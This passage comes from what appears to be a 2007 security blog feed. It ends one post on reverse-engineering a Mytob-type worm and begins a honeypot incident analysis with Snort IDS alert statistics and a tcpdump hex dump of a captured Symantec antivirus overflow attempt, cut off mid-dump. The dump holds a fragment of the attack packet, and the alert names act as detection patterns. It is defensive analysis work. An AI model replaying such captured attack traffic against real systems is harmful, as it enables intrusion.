rgb(0, 0, 160); -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;" &gt;offset &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:navy;"  &gt;aSupport&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt; &lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:gray;"  &gt;; "support"&lt;/span&gt;&lt;span style="background: white none repeat scroll 0% 50%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-size:8;color:blue;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;A mass mailer! A quick Google search and we learn that we are dealing with a Mytob type mass mailing worm.  This technique was effective for this particular malware, and from here we can quickly identify additional infected hosts and respond accordingly.  We simply let the malware decrypt it's own strings and stuff them back into the program....and then dump!!!  All in all this initial analysis only took a total of only 10 minutes, so response time remains quick.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30311304-4997115296958055212?l=zetarace.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zetarace.blogspot.com/feeds/4997115296958055212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30311304&amp;postID=4997115296958055212' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/4997115296958055212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30311304/posts/default/4997115296958055212'/><link rel='alternate' type='text/html' href='http://zetarace.blogspot.com/2007/12/quick-and-dirty-re.html' title='Quick and Dirty RE'/><author><name>e0n</name><uri>http://www.blogger.com/profile/08642718678831767828</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://bp3.blogger.com/_QwzalobDZ4c/Rk5h0RmaUDI/AAAAAAAAABU/EyOZ6aySo0s/s320/airsia.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_QwzalobDZ4c/R3erQkrk8_I/AAAAAAAAAEU/kP1dLwRecaw/s72-c/brain150207.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30311304.post-5801176831836687778</id><published>2007-12-04T14:40:00.000-08:00</published><updated>2007-12-04T14:57:32.560-08:00</updated><title type='text'>x4D x5A ......x50 x45</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_QwzalobDZ4c/R1XYdjQwHYI/AAAAAAAAAD0/4uxFl1h0LWE/s1600-h/tcpxtract2.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_QwzalobDZ4c/R1XYdjQwHYI/AAAAAAAAAD0/4uxFl1h0LWE/s320/tcpxtract2.jpg" alt="" id="BLOGGER_PHOTO_ID_5140252551906598274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;span style=""&gt;In this post I am going to demonstrate the analysis process after discovering a successful download on my honeypot.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;Checking my IDS logs, I noticed a PE executable download rule fire:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&gt; ./snortalog.pl /nsm/snort/alert -3 -attack -fday 13&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;subject: IDS Statistics generated on Tue Nov 13 08:45:55 2007&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;The log begins at : Nov 13 00:00:16&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;The log ends at : Nov 13 08:46:11&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Total of Lines in log file : 155255&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Total of Logs Dropped : 35028 (22.56%)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Filter Running:&lt;span style=""&gt;  &lt;/span&gt;day = 13&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Total events in table : 27973&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Source IP recorded : 17&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Destination IP recorded : 10&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Host logger recorded : 1 with 1 interface(s)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Signatures recorded : 22&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Classification recorded : 9&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Severity recorded : 4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Portscan detected : 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Distribution of attack methods&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;=============================================================================================================&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;    &lt;/span&gt;### 22 of 22 ###&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;    &lt;/span&gt;%&lt;span style=""&gt;    &lt;/span&gt;No&lt;span style=""&gt;      &lt;/span&gt;Attack&lt;span style=""&gt;                                                           &lt;/span&gt;Priority Severity&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;=============================================================================================================&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt; &lt;/span&gt;……&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.02&lt;span style=""&gt;  &lt;/span&gt;5&lt;span style=""&gt;       &lt;/span&gt;EXPLOIT symantec antivirus realtime virusscan overflow attempt {tcp}&lt;span style=""&gt;    &lt;/span&gt;1 high&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.01&lt;span style=""&gt;  &lt;/span&gt;4&lt;span style=""&gt;       &lt;/span&gt;SHELLCODE x86 inc ebx NOOP {tcp}&lt;span style=""&gt;                                        &lt;/span&gt;1 high&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.01&lt;span style=""&gt;  &lt;/span&gt;2&lt;span style=""&gt;       &lt;/span&gt;MS-SQL Worm propagation attempt {udp}&lt;span style=""&gt;                                   &lt;/span&gt;2 medium&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.01&lt;span style=""&gt;  &lt;/span&gt;2&lt;span style=""&gt;       &lt;/span&gt;SHELLCODE x86 NOOP {tcp}&lt;span style=""&gt;                                                &lt;/span&gt;1 high&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.01&lt;span style=""&gt;  &lt;/span&gt;2&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE POLICY Google IM traffic Jabber client sign-on {tcp}&lt;span style=""&gt;      &lt;/span&gt;1 high&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.01&lt;span style=""&gt;  &lt;/span&gt;2&lt;span style=""&gt;       &lt;/span&gt;DNS SPOOF query response with TTL of 1 min. and no authority {udp}&lt;span style=""&gt;      &lt;/span&gt;2 medium&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE MALWARE SOCKSv4 HTTP Proxy Inbound Request (Linux Source) {tcp}&lt;span style=""&gt;  &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE POLICY RDP connection request {tcp}&lt;span style=""&gt;                       &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;MISC MS Terminal server request {tcp}&lt;span style=""&gt;                                   &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE MALWARE SOCKSv4 HTTP Proxy Inbound Request (Windows Source) {tcp}&lt;span style=""&gt;  &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;(http_inspect) OVERSIZE REQUEST-URI DIRECTORY {tcp}&lt;span style=""&gt;                     &lt;/span&gt;3 unknown&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;b&gt;BLEEDING-EDGE PE EXE or DLL Windows file download {tcp}&lt;span style=""&gt;                 &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE MALWARE SOCKSv4 Inbound Connect Request (Linux Source) {tcp}&lt;span style=""&gt;  &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE POLICY RDP connection confirm {tcp}&lt;span style=""&gt;                       &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;0.00&lt;span style=""&gt;  &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;BLEEDING-EDGE MALWARE SOCKSv4 Inbound Connect Request (Windows Source) {tcp}&lt;span style=""&gt;  &lt;/span&gt;3 low&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Version: 2.4.2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;Jeremy CHARTIER, &lt;jeremy.chartier@free.fr&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/jeremy.chartier@free.fr&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;span style=";font-family:courier new;font-size:78%;"  &gt;Date: 04/02/2007 14:52:11&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;Checking the src_dst option in snortalog we notice the source IP, and more we see two alerts for the same IP:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;&gt; ./snortalog.pl /nsm/snort/alert -3 -src_dst_attack -fday 13&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;........&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:78%;"  &gt;&lt;span style=""&gt; &lt;/span&gt;0.00&lt;span style=""&gt;   &lt;/span&gt;1&lt;span style=""&gt;       &lt;/span&gt;71.40.196.103&lt;span style=""&gt;    &lt;/span&gt;192.168.0.34&lt;span style=""&gt;     &lt;/span&gt;EXPLOIT symantec antivirus realtime virusscan overflow attempt {tcp}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;span style="font-size:78%;"&gt; &lt;/span&gt;&lt;span style="font-size:78%;"&gt;0.00&lt;/span&gt;&lt;span style="font-size:78%;"&gt;   &lt;/span&gt;&lt;span style="font-size:78%;"&gt;1&lt;/span&gt;&lt;span style="font-size:78%;"&gt;       &lt;/span&gt;&lt;span style="font-size:78%;"&gt;71.40.196.103&lt;/span&gt;&lt;span style="font-size:78%;"&gt;    &lt;/span&gt;&lt;span style="font-size:78%;"&gt;192.168.0.34&lt;/span&gt;&lt;span style="font-size:78%;"&gt;     &lt;/span&gt;&lt;span style="font-size:78%;"&gt;BLEEDING-EDGE PE EXE or DLL Windows file download {tcp}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;Going to snort alert packet data, we get the story.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:Courier;font-size:10;"  &gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;!--[endif]--&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;# tcpdump -vvnnXs 1514 -r snort.log.1194918671 host 71.40.196.103&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;reading from file snort.log.1194918671, link-type EN10MB (Ethernet)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;00:31:39.629624 IP (tos 0x0, ttl&lt;span style=""&gt;  &lt;/span&gt;46, id 11982, offset 0, flags [DF], proto: TCP (6), length: 1492) 71.40.196.103.52569 &gt; 192.168.0.34.2967: ., cksum 0xaaef (correct), 3854001018:3854002470(1452) ack 3652677825 win 64240&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0000:&lt;span style=""&gt;  &lt;/span&gt;4500 05d4 2ece 4000 2e06 4bfc 4728 c467&lt;span style=""&gt;  &lt;/span&gt;E.....@...K.G(.g&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0010:&lt;span style=""&gt;  &lt;/span&gt;c0a8 0022 cd59 0b97 e5b7 637a d9b7 70c1&lt;span style=""&gt;  &lt;/span&gt;...".Y....cz..p.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0020:&lt;span style=""&gt;  &lt;/span&gt;5010 faf0 aaef 0000 0110 0f20 0a00 0000&lt;span style=""&gt;  &lt;/span&gt;P...............&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0030:&lt;span style=""&gt;  &lt;/span&gt;0218 0001 0000 0000 0024 0014 b7c9 d2d9&lt;span style=""&gt;  &lt;/span&gt;.........$......&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0040:&lt;span style=""&gt;  &lt;/span&gt;3e33 ef34 251f 4300 0202 5c2f 6161 6161&lt;span style=""&gt;  &lt;/span&gt;&gt;3.4%.C...\/aaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0050: &lt;span style=""&gt; &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0060:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0070:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0080:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x0090:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00a0:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00b0:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt;     &lt;/span&gt;0x00c0:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00d0:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00e0:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        &lt;/span&gt;0x00f0:&lt;span style=""&gt;  &lt;/span&gt;6161 6161 6161 6161 6161 6161 6161 6161&lt;span style=""&gt;  &lt;/span&gt;aaaaaaaaaaaaaaaa&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:courier new;"&gt;&lt;span style="font-size:78%;"&gt;&lt;span style=""&gt;        